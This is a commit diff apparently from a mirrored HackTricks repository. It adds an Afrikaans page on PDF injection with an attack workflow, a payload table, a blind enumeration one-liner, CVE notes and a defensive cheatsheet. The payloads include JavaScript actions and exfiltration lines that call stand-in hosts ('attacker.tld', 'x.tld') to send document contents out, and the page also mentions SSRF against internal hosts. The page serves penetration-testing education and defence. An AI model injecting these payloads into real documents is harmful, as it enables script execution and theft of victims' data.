mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
d921ce5afc
commit
0531f4489b
@ -1,7 +1,55 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer of die PDF-inhoud te steel.**
|
||||
|
||||
Kyk die pos: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer, SSRF te doen of die PDF-inhoud te steel.**
|
||||
PDF-sintaksis is uiters toelaatbaar – as jy uit die string of woordeboek wat jou invoer inkorporeer kan breek, kan jy heeltemal nuwe voorwerpe (of nuwe sleutels in dieselfde voorwerp) byvoeg wat Acrobat/Chrome graag sal ontleed.
|
||||
Sedert 2024 het 'n golf van fout-bounty verslae gewys dat *een onontsnapte haakie of terug-skuif genoeg is* vir volle skripuitvoering.
|
||||
|
||||
## TL;DR – Moderne Aanval Werkvloei (2024)
|
||||
1. Vind enige gebruiker-beheerde waarde wat uiteindelik binne 'n **(haakie string)**, `/URI ( … )` of `/JS ( … )` veld in die gegenereerde PDF eindig.
|
||||
2. Spuit `) ` (sluit die string) gevolg deur een van die primitiewe hieronder en eindig met 'n ander opening haakie om die sintaksis geldig te hou.
|
||||
3. Lewer die kwaadwillige PDF aan 'n slagoffer (of aan 'n agtergronddiens wat outomaties die lêer weergee – wonderlik vir blinde foute).
|
||||
4. Jou payload loop in die PDF-kijker:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (sien CVE-2024-4367)
|
||||
* Acrobat → Volledige JavaScript API (kan arbitrêre lêerinligting met `this.getPageNthWord` ekfiltreer)
|
||||
|
||||
Voorbeeld (annotasie skakel kaping):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*Die eerste `)` sluit die oorspronklike URI-string, ons voeg dan 'n nuwe **Action** woordeboek by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.*
|
||||
|
||||
## Nuttige Inspuitingsprimitiewe
|
||||
| Doel | Payload Snippet | Aantekeninge |
|
||||
|------|-----------------|-------|
|
||||
| **JavaScript op oop** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Voer onmiddellik uit wanneer die dokument oopgemaak word (werk in Acrobat, nie in Chrome nie). |
|
||||
| **JavaScript op skakel** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Werk in PDFium & Acrobat as jy 'n `/Link` annotasie beheer. |
|
||||
| **Blind data exfiltrasie** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombineer met `this.getPageNthWord` binne JS om inhoud te steel. |
|
||||
| **Server-Side SSRF** | Dieselfde as hierbo, maar teiken 'n interne URL – wonderlik wanneer die PDF deur agterkant-dienste wat `/URI` eerbiedig, gerender word. |
|
||||
| **Lynbreek vir nuwe objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | As die biblioteek jou toelaat om nuwe-lyn karakters in te spuit, kan jy heeltemal nuwe objekte skep. |
|
||||
|
||||
## Blind Enumerasie Truuk
|
||||
Gareth Heyes (PortSwigger) het 'n een-liner vrygestel wat elke objek binne 'n onbekende dokument tel – handig wanneer jy nie die gegenereerde PDF kan sien nie:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
Die kode herhaal die Acrobat DOM en maak uitgaande versoeke vir elke eienskap/waarde paar, wat jou 'n *JSON-agtige* dump van die lêer gee. Sien die witpapier “Portable Data **ex**Filtration” vir die volledige tegniek.
|
||||
|
||||
## Regte-Wêreld Foute (2023-2025)
|
||||
* **CVE-2024-4367** – Arbitraire JavaScript uitvoering in Firefox se PDF.js voor 4.2.67 het die sandbox omseil met 'n vervaardigde `/JavaScript` aksie.
|
||||
* **Bug bounty 2024-05** – Groot fintech het kliënt-gelewer faktuur notas toegelaat wat in `/URI` beland het; verslag betaal $10k na 'n gedemonstreerde SSRF na interne metadata gasheer met `file:///` URI.
|
||||
* **CVE-2023-26155** – `node-qpdf` opdrag-inspuiting via ongesuiwerde PDF pad toon die belangrikheid van die ontsnapping van terugskrape en hakies selfs *voor* die PDF laag.
|
||||
|
||||
## Verdedigende Cheatsheet
|
||||
1. **Moet nooit rou gebruikersinvoer** binne `(`…`)` strings of name saamvoeg nie. Ontsnap `\`, `(`, `)` soos vereis deur §7.3 van die PDF spesifikasie of gebruik hex strings `<...>`.
|
||||
2. As jy skakels bou, verkies `/URI (https://…)` wat jy *ten volle* URL-kodeer; blokkeer `javascript:` skemas in kliëntkykers.
|
||||
3. Verwyder of valideer `/OpenAction`, `/AA` (addisionele aksies), `/Launch`, `/SubmitForm` en `/ImportData` woorde wanneer jy PDF's na-verwerk.
|
||||
4. Aan die bedienerkant, render onbetroubare PDF's met 'n *headless converter* (bv. qpdf –decrypt –linearize) wat JavaScript en eksterne aksies verwyder.
|
||||
5. Hou PDF kyker op datum; PDF.js < 4.2.67 en Acrobat Reader voor Julie 2024 patches laat triviale kode uitvoering toe.
|
||||
|
||||
## Verwysings
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (opgedateer Mei 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user